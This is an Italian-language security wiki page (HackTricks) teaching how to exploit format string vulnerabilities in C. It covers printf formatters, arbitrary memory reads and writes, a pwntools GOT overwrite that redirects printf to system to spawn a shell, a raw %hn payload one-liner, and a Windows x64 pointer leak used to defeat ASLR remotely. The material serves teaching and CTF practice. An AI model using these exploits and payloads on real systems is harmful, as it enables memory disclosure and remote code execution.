# Format Strings {{#include ../../banners/hacktricks-training.md}} ## Informazioni di base In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** attesi sono i **valori** per **sostituire** i **formatters** nel testo grezzo. Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**. La vulnerabilità si presenta quando un **testo controllato dall'attaccante viene usato come primo argomento** di questa funzione. L'attaccante sarà in grado di costruire un **input speciale abusando** delle **printf format string capabilities** per leggere e **scrivere qualsiasi dato in qualunque indirizzo (leggibile/scrivibile)**. In questo modo può eseguire codice arbitrario. #### Formattatori: ```bash %08x —> 8 hex bytes %d —> Entire %u —> Unsigned %s —> String %p —> Pointer %n —> Number of written bytes %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` **Esempi:** - Esempio vulnerabile: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - Uso normale: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - Con argomenti mancanti: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - fprintf vulnerabile: ```c #include int main(int argc, char *argv[]) { char *user_input; user_input = argv[1]; FILE *output_file = fopen("output.txt", "w"); fprintf(output_file, user_input); // The user input can include formatters! fclose(output_file); return 0; } ``` ### **Accesso ai puntatori** Il formato **`%$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se vuoi leggere il 4° parametro dallo stack usando printf puoi fare: ```c printf("%x %x %x %x") ``` e leggeresti dal primo al quarto parametro. Oppure potresti fare: ```c printf("%4$x") ``` e leggere direttamente il quarto. Nota che l'attaccante controlla il `printf` **parametro, il che praticamente significa che** il suo input verrà messo nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack. > [!CAUTION] > Un attaccante che controlla questo input potrà **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come utilizzare questo comportamento. ## **Arbitrary Read** È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, lo segua e **lo stampi come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con: ```python from pwn import * p = process('./bin') payload = b'%6$s' #4th param payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] > Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà terminata con 0x00 alla fine di quell'indirizzo. ### Trovare l'offset Per trovare l'offset del tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`.
Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak from pwn import * # Iterate over a range of integers for i in range(10): # Construct a payload that includes the current integer as offset payload = f"AAAA%{i}$x".encode() # Start a new process of the "chall" binary p = process("./chall") # Send the payload to the process p.sendline(payload) # Read and store the output of the process output = p.clean() # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output if b"41414141" in output: # If the string is found, log the success message and break out of the loop log.success(f"User input is at offset : {i}") break # Close the process p.close() ```
### Quanto è utile Arbitrary reads possono essere utili per: - **Dump** il **binary** dalla memoria - **Accedere a parti specifiche della memoria dove sono memorizzate** **informazioni sensibili** (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** Il formatter **`%$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro nello stack. Se un attaccante può scrivere quanti caratteri vuole con printf, sarà in grado di far sì che **`%$n`** scriva un numero arbitrario in un indirizzo arbitrario. Per fortuna, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input; è possibile usare il formatter **`%.%$n`** per scrivere il numero **``** nell'**indirizzo puntato dalla posizione `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` Tuttavia, nota che di solito, per scrivere un indirizzo come `0x08049724` (che è un NUMERO ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 byte**. Pertanto questa operazione viene eseguita due volte, una per i 2 byte più alti dell'indirizzo e un'altra per quelli più bassi. Pertanto, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).** In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata più tardi. Sebbene questo possa sfruttare altre tecniche di arbitrary write to exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} Andremo a **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e a **puntarla** alla funzione **`system`**.\ Come detto, per scrivere l'indirizzo sono generalmente necessari 2 passaggi: prima **si scrivono 2 byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**. - **HOB** indica i 2 byte più alti dell'indirizzo - **LOB** indica i 2 byte più bassi dell'indirizzo Poi, a causa di come funzionano le format string, è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro. Se HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` Se HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` ### Pwntools Modello Puoi trovare un **modello** per preparare un exploit per questo tipo di vulnerabilità in: {{#ref}} format-strings-template.md {{#endref}} Oppure questo esempio di base da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * elf = context.binary = ELF('./got_overwrite-32') libc = elf.libc libc.address = 0xf7dc2000 # ASLR disabled p = process() payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) p.sendline(payload) p.clean() p.sendline('/bin/sh') p.interactive() ``` ## Format Strings to BOF È possibile abusare delle azioni di scrittura di una format string vulnerability per **scrivere in indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**. ## Windows x64: Format-string leak to bypass ASLR (no varargs) Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molti call-sites vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che la CRT legga il prossimo argomento variadico dal registro appropriato. Con la Microsoft x64 calling convention la prima lettura per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso leaks un puntatore stabile in-modulo (es., un puntatore a un oggetto locale/globale precedentemente posto in R9 dal codice circostante o un valore callee-saved), che può essere usato per recuperare la base del modulo e sconfiggere ASLR. Flusso pratico: - Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio. - Cattura il leaked pointer, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo reversing una volta con simboli o una copia locale), e recupera la image base come `leak - known_offset`. - Riusa quella base per calcolare indirizzi assoluti per ROP gadgets e IAT entries da remoto. Esempio (abbreviato python): ```python from pwn import remote # Send an input that the vulnerable code will pass as the "format" fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9 io = remote(HOST, 4141) # ... drive protocol to reach the vulnerable snprintf ... leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` Note: - L'offset esatto da sottrarre viene trovato una volta durante il reversing locale e poi riutilizzato (stesso binario/versione). - Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri registri/stack degli argomenti. - Questo pattern è specifico della calling convention Windows x64 e delle implementazioni della printf-family che leggono varargs inesistenti dai registri quando la format string li richiede. Questa tecnica è estremamente utile per bootstrapper ROP su servizi Windows compilati con ASLR e senza evidenti primitive di memory disclosure. ## Altri Esempi & Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - 32 bit, no relro, no canary, nx, no pie, uso di base delle format strings per leak della flag dallo stack (non è necessario alterare il flusso di esecuzione) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere nella GOT l'indirizzo di `system` nell'entry corrispondente a `strlen`. Quando il flusso torna a main, `strlen` viene eseguita con input utente e, essendo puntata a `system`, eseguirà i comandi passati. ## Riferimenti - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) {{#include ../../banners/hacktricks-training.md}}